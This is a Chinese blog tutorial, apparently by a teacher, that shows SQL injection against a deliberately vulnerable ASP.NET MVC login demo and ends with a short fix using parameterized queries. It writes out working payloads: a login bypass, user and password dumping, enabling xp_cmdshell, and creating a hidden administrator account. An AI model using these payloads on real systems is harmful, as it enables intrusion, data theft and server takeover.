浅谈SQL注入风险:一个Login拿下Server

前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查。

可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了。不能这么写!”

“呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?”

好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高。。

于是乎。。哈哈。大清早的,轻松在班里装了一手好逼。。

呵呵。不说了,下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。

(*^_^*) 大牛勿喷。

▁▃▅ 浅谈SQL注入风险 – 一个Login拿下Server ▅▃▁

目录:

  1. 数据库
  2. Web项目
  3. 演示注入
  4. 避免
  5. 完了

本文主要就是介绍SQL注入基本手法,危害,以及如何解决。

技术有点渣渣,大牛勿喷。。。。

一、数据库。

只创建了一个Admin表,结构如下:

插入三条测试数据如下:

二、Web项目

这里为了演示,所以我只搭建了一个简单的三层结构(ASP.NET MVC作为UI,DAL,BLL)以及模型Model:

1. Model模型层的AdminInfo.cs:

2. Web.config添加连接字符串:

3. DAL数据层的DBHelper.cs辅助类:

4. DAL数据层的AdminService.cs中写了一个登录的Login方法(SQL存在注入):

5. BLL业务逻辑的AdminManager.cs:

6. WebUI层的HomeController:

7. WebUI的Views/Home/Login:

8. WebUIHome/Login的css:

9. 运行结果:

三、注入

1. 废话不多说、直接测试注入。

账号: ‘ or 1=1 — ,密码(随意): fuck ,结果如下:

你还在认为注入只是为了绕过登录进入网站么?

那你就错了。

竟然返回的是一个包含整个用户信息的Json?!

这也是一个程序设计的严重不当!

不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。

最后导致千万级数据泄露。

也就是类似于下面这样操作:

2. 获取所有用户信息:

这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。

那么我们可以登录这样写(密码随意):

账号: ‘ or (1=1 and Id=1) — ,返回结果: {“Id”:1,”Username”:”admin”,”Password”:”admin1234″} ;

账号: ‘ or (1=1 and Id=2) — ,返回结果: {“Id”:2,”Username”:”zhangsan”,”Password”:”666666″} ;

账号: ‘ or (1=1 and Id=3) — ,返回结果: {“Id”:3,”Username”:”lisi”,”Password”:”888888″}

如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?

3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):

账号: ‘ or 1=1; exec sp_configure ‘show advanced options’,1; reconfigure; exec sp_configure ‘xp_cmdshell’,1; reconfigure; —

后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。

然后,xp_cmdshell已经获取了,你还想干什么不行?

这里我只做一个概念性的测试,演示一下其危害。

根据项目的不同,注入可能还会导致更严重的后果。

当然,你也可以创建文件,添加任务等,例如这样:

添加隐藏账号,并提升管理员组:

账号填写: ‘ or 1=1; exec xp_cmdshell ‘echo net user fuck 123456 /add > D:\a.bat & echo net localgroup administratorsfuck /add >> D:\a.bat & echo exit >> D:\a.bat’ —

修改权限/修改所有者:

账号填写: ‘ or 1=1; exec xp_cmdshell ‘icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F’ —

执行:

账号填写: ‘ or 1=1; exec xp_cmdshell ‘D: & D:\a.bat’ —

结果:

好吧,上面DOS你懂得。

当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

四、如何避免

这个应该很简单吧,其实就是我们日常编码习惯的问题。

登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:

平时写代码,多注意下这些问题。

当然,数据库的存储过程也不是没卵用的咸鱼,记得多用。

五、 没了

就是演示一下危害,什么年代了都,不应该出现注入的问题了吧。

毕竟每个项目不一样,指不定注入还会导致什么问题呢。

最后。。。。。。。。。。。大牛勿喷。么么哒~

1 3 收藏 评论

相关文章

可能感兴趣的话题



直接登录
跳到底部
返回顶部